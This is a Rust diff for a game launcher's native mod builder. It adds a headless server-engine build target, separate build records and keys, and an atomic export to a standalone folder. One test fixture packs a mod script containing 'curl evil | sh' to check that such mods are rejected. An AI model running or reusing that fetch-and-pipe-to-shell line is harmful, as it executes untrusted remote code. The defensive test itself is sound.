assert!(!update);
|
||||
assert!(allow_version_mismatch);
|
||||
assert_eq!(profile.as_deref(), Some("release"));
|
||||
}
|
||||
_ => panic!("expected native-build"),
|
||||
}
|
||||
// --update on its own: the newest installed release or Nightly, never a native build.
|
||||
match parse(&["mods", "--server-output", "engine-out", "--update"])
|
||||
.unwrap()
|
||||
.command
|
||||
{
|
||||
Some(Cmd::NativeBuild { update, .. }) => assert!(update),
|
||||
_ => panic!("expected native-build"),
|
||||
}
|
||||
// A version refuses --update, as in the game mode.
|
||||
assert!(parse(&[
|
||||
"mods",
|
||||
"--server-output",
|
||||
"engine-out",
|
||||
"--version",
|
||||
"v2026.10.13",
|
||||
"--update"
|
||||
])
|
||||
.is_err());
|
||||
// The game mode is unchanged: an instance build without --server-output.
|
||||
assert!(matches!(
|
||||
parse(&["--instance", "A"]).unwrap().command,
|
||||
Some(Cmd::NativeBuild { instance: Some(i), server_output: None, .. }) if i == "A"
|
||||
));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn export_mode_base_is_an_installed_release_not_a_native_build() {
|
||||
// The export mode picks the newest installed release or Nightly, never a native build
|
||||
// (`native-*`), and `--update` changes nothing when it already is the newest.
|
||||
let installed = vec![
|
||||
"v2026.10.13".to_string(),
|
||||
"v2026.09.01".to_string(),
|
||||
"native-2b03c1".to_string(),
|
||||
];
|
||||
for update in [false, true] {
|
||||
assert_eq!(
|
||||
native_mods::base_for(None, &installed, update).as_deref(),
|
||||
Some("v2026.10.13")
|
||||
);
|
||||
}
|
||||
assert_eq!(native_mods::base_for(None, &[], false), None);
|
||||
}
|
||||
}
|
||||
+637
-84
@@ -73,6 +73,55 @@ impl Profile {
|
||||
}
|
||||
}
|
||||
|
||||
/// What a native build compiles: the game the player plays, or the headless engine a dedicated
|
||||
/// server runs (`horizon-engine`, docs/server.md). Both build the same source with the same
|
||||
/// mixins. The server uses `--no-default-features` (no audio or controllers), a separate cache,
|
||||
/// and a standalone runtime folder outside the managed versions.
|
||||
#[derive(Clone, Copy, Debug, Default, PartialEq, Eq)]
|
||||
pub enum Target {
|
||||
/// The game: `horizon-client` as the release ships it.
|
||||
#[default]
|
||||
Client,
|
||||
/// The headless engine: the same binary without the default features, installed and
|
||||
/// exported as `horizon-engine`.
|
||||
Server,
|
||||
}
|
||||
|
||||
impl Target {
|
||||
pub fn name(self) -> &'static str {
|
||||
match self {
|
||||
Self::Client => "client",
|
||||
Self::Server => "server",
|
||||
}
|
||||
}
|
||||
|
||||
/// What the build compiles with besides the profile, in its key: the game the release's own
|
||||
/// features, the engine `--no-default-features` (the `mods` feature is added to both when
|
||||
/// the source has it, so it changes neither key).
|
||||
fn features(self) -> &'static str {
|
||||
match self {
|
||||
Self::Client => FEATURES,
|
||||
Self::Server => "--no-default-features",
|
||||
}
|
||||
}
|
||||
|
||||
fn directory(self, version: &str) -> PathBuf {
|
||||
match self {
|
||||
Self::Client => backend::version_dir(version),
|
||||
Self::Server => root().join("server-builds").join(version),
|
||||
}
|
||||
}
|
||||
|
||||
/// The name the built binary is installed under: the game's own, the engine's
|
||||
/// (`horizon-engine`, docs/server.md).
|
||||
fn binary(self) -> String {
|
||||
match self {
|
||||
Self::Client => backend::CLIENT.into(),
|
||||
Self::Server => format!("horizon-engine{}", std::env::consts::EXE_SUFFIX),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// What a native build was made from, kept per profile in `native/built.json` after it compiled:
|
||||
/// what the next build is compared with to say what changed.
|
||||
#[derive(Clone, Debug, Default, PartialEq, Eq, serde::Serialize, serde::Deserialize)]
|
||||
@@ -171,17 +220,27 @@ fn read_records(path: &Path) -> std::collections::BTreeMap<String, Record> {
|
||||
.unwrap_or_default()
|
||||
}
|
||||
|
||||
/// The last build of `profile` that compiled, if its folder in `native/target/` is still there.
|
||||
fn last_record(profile: Profile) -> Option<Record> {
|
||||
/// A build record's key in `built.json`: the profile for a game build (as it always was), the
|
||||
/// target's own name before it for a server one, so the two never read each other's record.
|
||||
fn record_key(target: Target, profile: Profile) -> String {
|
||||
match target {
|
||||
Target::Client => profile.name().into(),
|
||||
Target::Server => format!("{}-{}", target.name(), profile.name()),
|
||||
}
|
||||
}
|
||||
|
||||
/// The last build of `target` and `profile` that compiled, if the profile's folder in
|
||||
/// `native/target/` (the compiled crates both build from) is still there.
|
||||
fn last_record(target: Target, profile: Profile) -> Option<Record> {
|
||||
if !root().join("target").join(profile.name()).is_dir() {
|
||||
return None;
|
||||
}
|
||||
read_records(&records_path()).remove(profile.name())
|
||||
read_records(&records_path()).remove(&record_key(target, profile))
|
||||
}
|
||||
|
||||
fn save_record(profile: Profile, record: &Record) {
|
||||
fn save_record(target: Target, profile: Profile, record: &Record) {
|
||||
let mut all = read_records(&records_path());
|
||||
all.insert(profile.name().into(), record.clone());
|
||||
all.insert(record_key(target, profile), record.clone());
|
||||
if let Ok(text) = serde_json::to_vec_pretty(&all) {
|
||||
let _ = fs::write(records_path(), text);
|
||||
}
|
||||
@@ -707,6 +766,9 @@ pub struct About {
|
||||
pub base: String,
|
||||
/// The Horizon commit it compiled.
|
||||
pub horizon: String,
|
||||
/// What it compiles: the game the player plays (also the only kind a `native-mods.json`
|
||||
/// from before the target was recorded builds), or the headless engine a server runs.
|
||||
pub target: Target,
|
||||
}
|
||||
|
||||
/// What installed native build `version` was made from; None for any other version.
|
||||
@@ -714,12 +776,22 @@ pub fn about(version: &str) -> Option<About> {
|
||||
if !is_native(version) {
|
||||
return None;
|
||||
}
|
||||
let path = backend::version_dir(version).join("native-mods.json");
|
||||
let json: serde_json::Value = serde_json::from_str(&fs::read_to_string(path).ok()?).ok()?;
|
||||
about_in(&backend::version_dir(version))
|
||||
}
|
||||
|
||||
/// The build record (`native-mods.json`) in version folder `dir`, if it parses. A build from
|
||||
/// before targets were recorded is a client one, so it still reads.
|
||||
fn about_in(dir: &Path) -> Option<About> {
|
||||
let json: serde_json::Value =
|
||||
serde_json::from_str(&fs::read_to_string(dir.join("native-mods.json")).ok()?).ok()?;
|
||||
let field = |name: &str| json[name].as_str().map(str::to_owned);
|
||||
Some(About {
|
||||
base: field("base")?,
|
||||
horizon: field("horizon").filter(|r| is_revision(r))?,
|
||||
target: match field("target").as_deref() {
|
||||
Some("server") => Target::Server,
|
||||
_ => Target::Client,
|
||||
},
|
||||
})
|
||||
}
|
||||
|
||||
@@ -779,24 +851,31 @@ fn files(dir: &Path) -> Result<Vec<(String, PathBuf)>, String> {
|
||||
}
|
||||
|
||||
/// The installed version `bundles` built on Horizon `revision` with horizon-mixins `mixins`
|
||||
/// become: `native-<7 digits of the revision>-<12 hex digits>`.
|
||||
/// become: `native-<7 digits of the revision>-<12 hex digits>`. The two targets' keys never mix:
|
||||
/// a server build salts its hash, so it is another version than the client build of the same
|
||||
/// mods, and the client key is unchanged.
|
||||
pub fn version_for(
|
||||
revision: &str,
|
||||
mixins: &str,
|
||||
profile: Profile,
|
||||
target: Target,
|
||||
bundles: &[Bundle],
|
||||
) -> Result<String, String> {
|
||||
let mut hash = Sha256::new();
|
||||
for part in [
|
||||
mixins,
|
||||
profile.name(),
|
||||
FEATURES,
|
||||
target.features(),
|
||||
rust_toolchain::VERSION,
|
||||
revision,
|
||||
] {
|
||||
hash.update(part.as_bytes());
|
||||
hash.update([0]);
|
||||
}
|
||||
if target == Target::Server {
|
||||
hash.update(target.name().as_bytes());
|
||||
hash.update([0]);
|
||||
}
|
||||
let mut sorted: Vec<&Bundle> = bundles.iter().collect();
|
||||
sorted.sort_by(|a, b| a.id.cmp(&b.id));
|
||||
for b in sorted {
|
||||
@@ -1051,18 +1130,30 @@ fn apply(rust: &Toolchain, tool: &Path, source: &Path, mods: &Path, out: &Path)
|
||||
cmd
|
||||
}
|
||||
|
||||
/// The build of the game in `stage` with `profile` (game-build.yml's, for `Release`), into `target`. It starts
|
||||
/// outside any Cargo configuration of the player's ([`rust_toolchain::outside_configs`]), so only
|
||||
/// the workspace's own (`stage/.cargo/config.toml`, when it has one) applies.
|
||||
fn compile(rust: &Toolchain, stage: &Path, target: &Path, profile: Profile) -> Command {
|
||||
/// The build of the game in `stage` with `profile` (game-build.yml's, for `Release`) and
|
||||
/// `target`'s features, into `target`. It starts outside any Cargo configuration of the
|
||||
/// player's ([`rust_toolchain::outside_configs`]), so only the workspace's own
|
||||
/// (`stage/.cargo/config.toml`, when it has one) applies. A server build compiles headless:
|
||||
/// `--no-default-features` (the server build, docs/server.md), keeping the `mods` feature when
|
||||
/// the source has one.
|
||||
fn compile(
|
||||
rust: &Toolchain,
|
||||
stage: &Path,
|
||||
target: Target,
|
||||
target_dir: &Path,
|
||||
profile: Profile,
|
||||
) -> Command {
|
||||
let mut cmd = cargo(rust, stage, "build");
|
||||
// Cargo's progress bar (units done of the total) is read from its output. Incremental
|
||||
// compilation, the `fast` profile's, is not turned off by the player's environment: the
|
||||
// toolchain's command drops `CARGO_INCREMENTAL` and `CARGO_BUILD_*`.
|
||||
cmd.env("CARGO_TARGET_DIR", target)
|
||||
cmd.env("CARGO_TARGET_DIR", target_dir)
|
||||
.env("CARGO_TERM_PROGRESS_WHEN", "always")
|
||||
.env("CARGO_TERM_PROGRESS_WIDTH", "100");
|
||||
cmd.args(["--locked", "--profile", profile.name()]);
|
||||
if target == Target::Server {
|
||||
cmd.arg("--no-default-features");
|
||||
}
|
||||
if has_mods_feature(stage) {
|
||||
cmd.args(["--features", FEATURES]);
|
||||
}
|
||||
@@ -1220,20 +1311,35 @@ fn sync(from: &Path, to: &Path) -> Result<(), String> {
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Builds `folder`'s mods on the Horizon revision they pin (else `base`'s, the installed version
|
||||
/// whose game files the build reuses: a native build's own revision when it is one, [`base_for`])
|
||||
/// and points `instance` at the build, the default one included. Returns the build's version; a
|
||||
/// build already made is used again. Mods pinning different revisions build on the newest one,
|
||||
/// with the newest horizon-mixins they name, only when the player agreed to try (`anyway`): else
|
||||
/// the error starts with [`MISMATCH`] and says which.
|
||||
pub fn build(
|
||||
/// What a build of `folder`'s mods came out as: the version it installed and what it did.
|
||||
#[derive(Clone, Debug)]
|
||||
struct Built {
|
||||
version: String,
|
||||
/// Which case the build was, said before anything ran.
|
||||
plan: Plan,
|
||||
/// The profile it compiled with: the chosen one, unless the source has no `[profile.fast]`.
|
||||
profile: Profile,
|
||||
/// How long the whole build took.
|
||||
secs: u64,
|
||||
}
|
||||
|
||||
/// The pipeline both targets build with ([`build`], [`build_server`]): `folder`'s mods on the
|
||||
/// Horizon revision they pin (else `base`'s, the installed version whose game files the build
|
||||
/// reuses: a native build's own revision when it is one, [`base_for`]), compiled as `target`
|
||||
/// (the game, or the headless engine) and installed as its own version, `native-<revision>-<key>`
|
||||
/// (the key hashes the revision, the mods' files, the tool's commit, the profile and the
|
||||
/// target). A build already made is used again. Mods pinning different revisions build on the
|
||||
/// newest one, with the newest horizon-mixins they name, only when the player agreed to try
|
||||
/// (`anyway`): else the error starts with [`MISMATCH`] and says which. Nothing of the player's
|
||||
/// outside the launcher's data is touched: no instance is edited and no version selected here.
|
||||
fn pipeline(
|
||||
base: &str,
|
||||
folder: &Path,
|
||||
instance: &Instance,
|
||||
anyway: bool,
|
||||
profile: Profile,
|
||||
progress: impl Fn(Step),
|
||||
) -> Result<String, String> {
|
||||
target: Target,
|
||||
progress: &impl Fn(Step),
|
||||
) -> Result<Built, String> {
|
||||
let started = std::time::Instant::now();
|
||||
backend::need_prepared(base)?;
|
||||
fs::create_dir_all(root()).map_err(|e| e.to_string())?;
|
||||
@@ -1302,7 +1408,7 @@ pub fn build(
|
||||
Some(MIXINS_REV),
|
||||
|r| committed("horizon-rust/horizon-mixins", r),
|
||||
)?;
|
||||
let version = version_for(&revision, &mixins, profile, &mods)?;
|
||||
let version = version_for(&revision, &mixins, profile, target, &mods)?;
|
||||
let now = Record {
|
||||
horizon: revision.clone(),
|
||||
mixins: mixins.clone(),
|
||||
@@ -1311,13 +1417,24 @@ pub fn build(
|
||||
.map(|m| Ok((m.id.clone(), mod_hash(m)?)))
|
||||
.collect::<Result<_, String>>()?,
|
||||
};
|
||||
let exists = backend::installed().contains(&version);
|
||||
let plan = classify(exists, last_record(profile).as_ref(), &now);
|
||||
let exists = target.directory(&version).join(".installed").is_file();
|
||||
let plan = classify(exists, last_record(target, profile).as_ref(), &now);
|
||||
progress(Step::Plan(plan.clone(), profile));
|
||||
let mut built = Built {
|
||||
version: version.clone(),
|
||||
plan: plan.clone(),
|
||||
profile,
|
||||
secs: 0,
|
||||
};
|
||||
if !exists {
|
||||
rust_toolchain::linker()?;
|
||||
match target {
|
||||
// The headless build links none of the sound or controller libraries: it needs
|
||||
// only a C compiler and the C library's headers ([`rust_toolchain::linker_server`]).
|
||||
Target::Client => rust_toolchain::linker()?,
|
||||
Target::Server => rust_toolchain::linker_server()?,
|
||||
}
|
||||
let rust = rust_toolchain::install(|f| progress(Step::Rust(f)))?;
|
||||
let tool = tool(&rust, &mixins, &progress)?;
|
||||
let tool = tool(&rust, &mixins, progress)?;
|
||||
progress(Step::Source(revision.clone()));
|
||||
let source = source(&revision)?;
|
||||
progress(Step::Mixins);
|
||||
@@ -1340,12 +1457,13 @@ pub fn build(
|
||||
progress(Step::Crates);
|
||||
lock_crates(&rust, &source, &stage)?;
|
||||
}
|
||||
let target = real.join("target");
|
||||
let target_dir = real.join("target");
|
||||
// A revision without `[profile.fast]` builds with `release`: the build says so.
|
||||
let profile = profile_of(&stage, profile);
|
||||
let compiled = profile_of(&stage, profile);
|
||||
built.profile = compiled;
|
||||
let (mut crates, mut total, mut name) = (0, None, String::new());
|
||||
run(
|
||||
compile(&rust, &stage, &target, profile),
|
||||
compile(&rust, &stage, target, &target_dir, compiled),
|
||||
"Compiling the game",
|
||||
|line| {
|
||||
for event in parse_cargo(line) {
|
||||
@@ -1364,24 +1482,27 @@ pub fn build(
|
||||
done: crates,
|
||||
total,
|
||||
name: name.clone(),
|
||||
profile,
|
||||
profile: compiled,
|
||||
});
|
||||
}
|
||||
}
|
||||
},
|
||||
)
|
||||
.map_err(|e| blame(crates::locked(e)))?;
|
||||
save_record(profile, &now);
|
||||
// Out of `target` before any post-build bin is built there (`post_build_programs`).
|
||||
let binary = real.join("programs").join(backend::CLIENT);
|
||||
copy_out(&target.join(profile.name()).join(backend::CLIENT), &binary)?;
|
||||
save_record(target, profile, &now);
|
||||
// Out of `target_dir` before any post-build bin is built there (`post_build_programs`).
|
||||
let binary = real.join("programs").join(target.binary());
|
||||
copy_out(
|
||||
&target_dir.join(compiled.name()).join(backend::CLIENT),
|
||||
&binary,
|
||||
)?;
|
||||
let post = post_build_programs(
|
||||
&rust,
|
||||
&stage,
|
||||
&target,
|
||||
&target_dir,
|
||||
&real.join("programs").join("post-build"),
|
||||
profile,
|
||||
&progress,
|
||||
compiled,
|
||||
progress,
|
||||
)?;
|
||||
progress(Step::Install);
|
||||
let about = serde_json::json!({
|
||||
@@ -1390,14 +1511,15 @@ pub fn build(
|
||||
"horizon_mixins": mixins,
|
||||
"hooks": mods.iter().find_map(|m| m.hooks),
|
||||
"rust": rust_toolchain::VERSION,
|
||||
"profile": profile.name(),
|
||||
"profile": compiled.name(),
|
||||
"target": target.name(),
|
||||
"mods": mods.iter().map(|m| serde_json::json!({
|
||||
"id": m.id,
|
||||
"version": m.version,
|
||||
"sha256": digests.get(&m.id).cloned().flatten(),
|
||||
})).collect::<Vec<_>>(),
|
||||
});
|
||||
install(base, &version, &binary, &about, |dir| {
|
||||
install(base, &version, target, &binary, &about, |dir| {
|
||||
for (step, program) in &post {
|
||||
progress(Step::PostBuild(step.mod_id.clone()));
|
||||
let cmd = crates::post_build(program, step, dir, &real.join("cache"), &stage)?;
|
||||
@@ -1408,19 +1530,173 @@ pub fn build(
|
||||
let _ = fs::remove_dir_all(real.join("programs"));
|
||||
} else {
|
||||
// Used again: it counts as the newest of the builds kept (`prune`).
|
||||
let _ = fs::write(backend::version_dir(&version).join(".installed"), "");
|
||||
let _ = fs::write(target.directory(&version).join(".installed"), "");
|
||||
}
|
||||
instances::edit(&instance.id, |meta| meta.version = Some(version.clone()))?;
|
||||
prune(&version);
|
||||
let _ = fs::remove_dir_all(&incoming);
|
||||
if plan != Plan::UpToDate {
|
||||
built.secs = started.elapsed().as_secs();
|
||||
Ok(built)
|
||||
}
|
||||
|
||||
/// Builds `folder`'s mods on the Horizon revision they pin (else `base`'s, the installed version
|
||||
/// whose game files the build reuses: a native build's own revision when it is one, [`base_for`])
|
||||
/// and points `instance` at the build, the default one included. Returns the build's version; a
|
||||
/// build already made is used again. Mods pinning different revisions build on the newest one,
|
||||
/// with the newest horizon-mixins they name, only when the player agreed to try (`anyway`): else
|
||||
/// the error starts with [`MISMATCH`] and says which.
|
||||
pub fn build(
|
||||
base: &str,
|
||||
folder: &Path,
|
||||
instance: &Instance,
|
||||
anyway: bool,
|
||||
profile: Profile,
|
||||
progress: impl Fn(Step),
|
||||
) -> Result<String, String> {
|
||||
let built = pipeline(base, folder, anyway, profile, Target::Client, &progress)?;
|
||||
instances::edit(&instance.id, |meta| {
|
||||
meta.version = Some(built.version.clone())
|
||||
})?;
|
||||
prune(&built.version);
|
||||
if built.plan != Plan::UpToDate {
|
||||
progress(Step::Done {
|
||||
secs: started.elapsed().as_secs(),
|
||||
profile,
|
||||
plan,
|
||||
secs: built.secs,
|
||||
profile: built.profile,
|
||||
plan: built.plan,
|
||||
});
|
||||
}
|
||||
Ok(version)
|
||||
Ok(built.version)
|
||||
}
|
||||
|
||||
/// Builds `folder`'s mods as the headless engine a dedicated server runs (`horizon-engine`,
|
||||
/// docs/server.md): the same pipeline as [`build`] on the same revision, compiled with
|
||||
/// `--no-default-features`, installed as its own version (its key distinct from the game's, so
|
||||
/// the two never stand in for each other) and exported into `output` as a standalone runtime
|
||||
/// folder: the built engine, the base version's resources, the mods' post-build data and the
|
||||
/// build's record. The folder lives outside the launcher's managed versions, where nothing of
|
||||
/// the launcher's can remove it; nothing of it is overwritten, and a folder already at `output`
|
||||
/// is refused before anything is downloaded or compiled. No instance is edited and no version
|
||||
/// selected: a server build changes nothing the launcher's window plays. Returns the absolute
|
||||
/// path of the exported engine binary.
|
||||
pub fn build_server(
|
||||
base: &str,
|
||||
folder: &Path,
|
||||
output: &Path,
|
||||
anyway: bool,
|
||||
profile: Profile,
|
||||
progress: impl Fn(Step),
|
||||
) -> Result<PathBuf, String> {
|
||||
if output.symlink_metadata().is_ok() {
|
||||
return Err(trf(
|
||||
"{path} already exists. Move it away, or build into another folder.",
|
||||
&[("path", &output.display().to_string())],
|
||||
));
|
||||
}
|
||||
let parent = output
|
||||
.parent()
|
||||
.filter(|p| !p.as_os_str().is_empty())
|
||||
.unwrap_or(Path::new("."));
|
||||
fs::create_dir_all(parent).map_err(|e| e.to_string())?;
|
||||
let output = parent.canonicalize().map_err(|e| e.to_string())?.join(
|
||||
output
|
||||
.file_name()
|
||||
.ok_or_else(|| tr("Choose a new folder for the server export."))?,
|
||||
);
|
||||
for managed in [backend::version_dir(""), root()] {
|
||||
if managed
|
||||
.canonicalize()
|
||||
.is_ok_and(|dir| output.starts_with(dir))
|
||||
{
|
||||
return Err(tr("Export the server outside the launcher's managed folders.").into());
|
||||
}
|
||||
}
|
||||
let built = pipeline(base, folder, anyway, profile, Target::Server, &progress)?;
|
||||
export(&Target::Server.directory(&built.version), &output)?;
|
||||
// Exports are independent; keep only the newest cached server builds.
|
||||
let cached = root().join("server-builds");
|
||||
let builds = fs::read_dir(&cached)
|
||||
.into_iter()
|
||||
.flatten()
|
||||
.flatten()
|
||||
.filter(|e| e.path().join(".installed").is_file())
|
||||
.map(|e| {
|
||||
let at = fs::metadata(e.path().join(".installed"))
|
||||
.and_then(|m| m.modified())
|
||||
.unwrap_or(std::time::UNIX_EPOCH);
|
||||
(e.file_name().to_string_lossy().into_owned(), at)
|
||||
})
|
||||
.collect();
|
||||
for old in stale(builds, &built.version, &[]) {
|
||||
let _ = fs::remove_dir_all(cached.join(old));
|
||||
}
|
||||
if built.plan != Plan::UpToDate {
|
||||
progress(Step::Done {
|
||||
secs: built.secs,
|
||||
profile: built.profile,
|
||||
plan: built.plan,
|
||||
});
|
||||
}
|
||||
let engine = output.join(Target::Server.binary());
|
||||
Ok(std::path::absolute(&engine).unwrap_or(engine))
|
||||
}
|
||||
|
||||
/// Copies the built version folder `from` into `output` (outside the managed versions) as one
|
||||
/// piece: staged in a hidden folder beside `output`, then renamed into place, so an interrupted
|
||||
/// export leaves nothing half-written at `output` and overwrites nothing already there.
|
||||
/// Executable files keep their permissions ([`backend::copy_dir`], a clone where the disk can).
|
||||
fn export(from: &Path, output: &Path) -> Result<(), String> {
|
||||
let name = output.file_name().ok_or_else(|| {
|
||||
trf(
|
||||
"{path} is not a folder to build into.",
|
||||
&[("path", &output.display().to_string())],
|
||||
)
|
||||
})?;
|
||||
let parent = output.parent().unwrap_or(output);
|
||||
fs::create_dir_all(parent).map_err(|e| format!("{}: {e}", parent.display()))?;
|
||||
let staging = parent.join(format!(
|
||||
".{}.{}.exporting",
|
||||
name.to_string_lossy(),
|
||||
std::process::id()
|
||||
));
|
||||
fs::create_dir(&staging).map_err(|e| format!("{}: {e}", staging.display()))?;
|
||||
if let Err(e) = copy_runtime(from, &staging) {
|
||||
let _ = fs::remove_dir_all(&staging);
|
||||
return Err(trf(
|
||||
"Could not copy the build: {error}",
|
||||
&[("error", &e.to_string())],
|
||||
));
|
||||
}
|
||||
if output.symlink_metadata().is_ok() {
|
||||
let _ = fs::remove_dir_all(&staging);
|
||||
return Err(trf(
|
||||
"{path} already exists. Move it away, or build into another folder.",
|
||||
&[("path", &output.display().to_string())],
|
||||
));
|
||||
}
|
||||
fs::rename(&staging, output).map_err(|e| {
|
||||
let _ = fs::remove_dir_all(&staging);
|
||||
trf(
|
||||
"Could not move the build to {path}: {error}",
|
||||
&[
|
||||
("path", &output.display().to_string()),
|
||||
("error", &e.to_string()),
|
||||
],
|
||||
)
|
||||
})
|
||||
}
|
||||
|
||||
/// Reflinks are independent files but may not preserve executable permissions.
|
||||
fn copy_runtime(from: &Path, to: &Path) -> std::io::Result<()> {
|
||||
fs::create_dir_all(to)?;
|
||||
for entry in fs::read_dir(from)? {
|
||||
let entry = entry?;
|
||||
let destination = to.join(entry.file_name());
|
||||
if entry.file_type()?.is_dir() {
|
||||
copy_runtime(&entry.path(), &destination)?;
|
||||
} else {
|
||||
horizon_prepare::clone_or_copy(&entry.path(), &destination)?;
|
||||
fs::set_permissions(&destination, entry.metadata()?.permissions())?;
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Copies the program `from` (in the shared target folder) to `to`, keeping it executable.
|
||||
@@ -1434,23 +1710,24 @@ fn copy_out(from: &Path, to: &Path) -> Result<(), String> {
|
||||
}
|
||||
|
||||
/// Installs `binary` as version `version`: a copy of installed version `base`'s folder (its
|
||||
/// resources included; cloned where the disk can) with the built game in place of `base`'s.
|
||||
/// `finish` (the mods' post-build steps) runs in its folder before it counts as installed; when
|
||||
/// it fails, the folder is removed.
|
||||
/// resources included; cloned where the disk can) with the built binary, as `target` names it,
|
||||
/// in place of `base`'s. `finish` (the mods' post-build steps) runs in its folder before it
|
||||
/// counts as installed; when it fails, the folder is removed.
|
||||
fn install(
|
||||
base: &str,
|
||||
version: &str,
|
||||
target: Target,
|
||||
binary: &Path,
|
||||
about: &serde_json::Value,
|
||||
finish: impl FnOnce(&Path) -> Result<(), String>,
|
||||
) -> Result<(), String> {
|
||||
let from = backend::version_dir(base);
|
||||
let partial = backend::version_dir(&format!(".{version}.partial"));
|
||||
let partial = target.directory(&format!(".{version}.partial"));
|
||||
let _ = fs::remove_dir_all(&partial);
|
||||
fs::create_dir_all(&partial).map_err(|e| e.to_string())?;
|
||||
for entry in fs::read_dir(&from).map_err(|e| e.to_string())?.flatten() {
|
||||
let name = entry.file_name();
|
||||
if !carried_over(&name) {
|
||||
if !carried_over(&name, target) {
|
||||
continue;
|
||||
}
|
||||
let to = partial.join(&name);
|
||||
@@ -1463,10 +1740,10 @@ fn install(
|
||||
};
|
||||
copied.map_err(|e| format!("Could not copy {}: {e}", entry.path().display()))?;
|
||||
}
|
||||
let client = partial.join(backend::CLIENT);
|
||||
fs::copy(binary, &client).map_err(|e| format!("The built game: {e}"))?;
|
||||
let installed = partial.join(target.binary());
|
||||
fs::copy(binary, &installed).map_err(|e| format!("The built game: {e}"))?;
|
||||
fs::write(partial.join("native-mods.json"), about.to_string()).map_err(|e| e.to_string())?;
|
||||
let dir = backend::version_dir(version);
|
||||
let dir = target.directory(version);
|
||||
let _ = fs::remove_dir_all(&dir);
|
||||
fs::rename(&partial, &dir).map_err(|e| e.to_string())?;
|
||||
if let Err(e) = finish(&dir) {
|
||||
@@ -1476,19 +1753,24 @@ fn install(
|
||||
fs::write(dir.join(".installed"), "").map_err(|e| e.to_string())
|
||||
}
|
||||
|
||||
/// Whether a file of the version a build starts from goes into the new build. The game, its
|
||||
/// record, and the mods' post-build data (`native-data/`, which the new build's steps write
|
||||
/// again) are the new build's own: a mod turned off leaves none of its data behind.
|
||||
fn carried_over(name: &std::ffi::OsStr) -> bool {
|
||||
![
|
||||
backend::CLIENT,
|
||||
".installed",
|
||||
"Horizon.app",
|
||||
"native-mods.json",
|
||||
"native-data",
|
||||
]
|
||||
.iter()
|
||||
.any(|n| name == *n)
|
||||
/// Whether a file of the version a build starts from goes into the new build. The game (the
|
||||
/// target's own binary), its record, and the mods' post-build data (`native-data/`, which the
|
||||
/// new build's steps write again) are the new build's own: a mod turned off leaves none of its
|
||||
/// data behind. A server build is the headless engine: it keeps neither the game's own binary
|
||||
/// nor any `horizon-engine` the base shipped, which would run unmodded beside its own.
|
||||
fn carried_over(name: &std::ffi::OsStr, target: Target) -> bool {
|
||||
let mut own: Vec<String> = ["Horizon.app", "native-mods.json", "native-data"]
|
||||
.iter()
|
||||
.map(|s| s.to_string())
|
||||
.collect();
|
||||
own.push(backend::CLIENT.to_string());
|
||||
own.push(".installed".to_string());
|
||||
if target == Target::Server {
|
||||
own.push("horizon-engine".to_string());
|
||||
}
|
||||
let named = |n: &str| name == std::ffi::OsStr::new(n);
|
||||
!own.iter()
|
||||
.any(|n| named(n) || named(&format!("{n}{}", std::env::consts::EXE_SUFFIX)))
|
||||
}
|
||||
|
||||
/// How many native builds no instance plays stay installed, the newest first: switching a mod
|
||||
@@ -1546,11 +1828,20 @@ mod tests {
|
||||
"native-mods.json",
|
||||
"native-data",
|
||||
] {
|
||||
assert!(!carried_over(OsStr::new(own)), "{own}");
|
||||
assert!(!carried_over(OsStr::new(own), Target::Client), "{own}");
|
||||
}
|
||||
for kept in ["horizon-ctl", "resources", "LICENSE"] {
|
||||
assert!(carried_over(OsStr::new(kept)), "{kept}");
|
||||
assert!(carried_over(OsStr::new(kept), Target::Client), "{kept}");
|
||||
}
|
||||
// A server build keeps neither the game's own binary nor a stale `horizon-engine` the
|
||||
// base shipped, which would run unmodded beside the built one.
|
||||
let engine = Target::Server.binary();
|
||||
assert!(
|
||||
!carried_over(OsStr::new(&engine), Target::Server),
|
||||
"{engine}"
|
||||
);
|
||||
assert!(!carried_over(OsStr::new(backend::CLIENT), Target::Server));
|
||||
assert!(carried_over(OsStr::new("resources"), Target::Server));
|
||||
}
|
||||
|
||||
fn dir(name: &str) -> PathBuf {
|
||||
@@ -1701,11 +1992,12 @@ mod tests {
|
||||
let out = installed_mods(&home).unwrap();
|
||||
let path = out.join("veinminer/mixins/veinminer/data/table.bin");
|
||||
assert_eq!(fs::read(&path).unwrap(), b"data");
|
||||
let first = version_for(A, B, Profile::Fast, &bundles(&out).unwrap()).unwrap();
|
||||
let first =
|
||||
version_for(A, B, Profile::Fast, Target::Client, &bundles(&out).unwrap()).unwrap();
|
||||
fs::write(path, b"changed").unwrap();
|
||||
assert_ne!(
|
||||
first,
|
||||
version_for(A, B, Profile::Fast, &bundles(&out).unwrap()).unwrap()
|
||||
version_for(A, B, Profile::Fast, Target::Client, &bundles(&out).unwrap()).unwrap()
|
||||
);
|
||||
pack("veinminer.hnmod", Some(("build.sh", "curl evil | sh")));
|
||||
assert!(installed_mods(&home).is_err(), "only Rust and TOML sources");
|
||||
@@ -1970,7 +2262,14 @@ mod tests {
|
||||
let d = dir("key");
|
||||
write_bundle(&d, "hello", "fn hook() {}");
|
||||
let key = |revision: &str| {
|
||||
version_for(revision, MIXINS_REV, Profile::Fast, &bundles(&d).unwrap()).unwrap()
|
||||
version_for(
|
||||
revision,
|
||||
MIXINS_REV,
|
||||
Profile::Fast,
|
||||
Target::Client,
|
||||
&bundles(&d).unwrap(),
|
||||
)
|
||||
.unwrap()
|
||||
};
|
||||
let first = key(A);
|
||||
assert!(
|
||||
@@ -1981,7 +2280,7 @@ mod tests {
|
||||
assert_ne!(first, key(B));
|
||||
assert_ne!(
|
||||
first,
|
||||
version_for(A, B, Profile::Fast, &bundles(&d).unwrap()).unwrap()
|
||||
version_for(A, B, Profile::Fast, Target::Client, &bundles(&d).unwrap()).unwrap()
|
||||
);
|
||||
fs::write(d.join("hook.rs"), "fn hook() { let _ = 1; }").unwrap();
|
||||
assert_ne!(first, key(A));
|
||||
@@ -1997,7 +2296,8 @@ mod tests {
|
||||
backend::copy_dir(&fixture, &d).unwrap();
|
||||
let found = bundles(&d).unwrap();
|
||||
assert_eq!(found[0].id, "crate_demo");
|
||||
let key = || version_for(A, B, Profile::Fast, &bundles(&d).unwrap()).unwrap();
|
||||
let key =
|
||||
|| version_for(A, B, Profile::Fast, Target::Client, &bundles(&d).unwrap()).unwrap();
|
||||
let mut seen = vec![key()];
|
||||
for file in [
|
||||
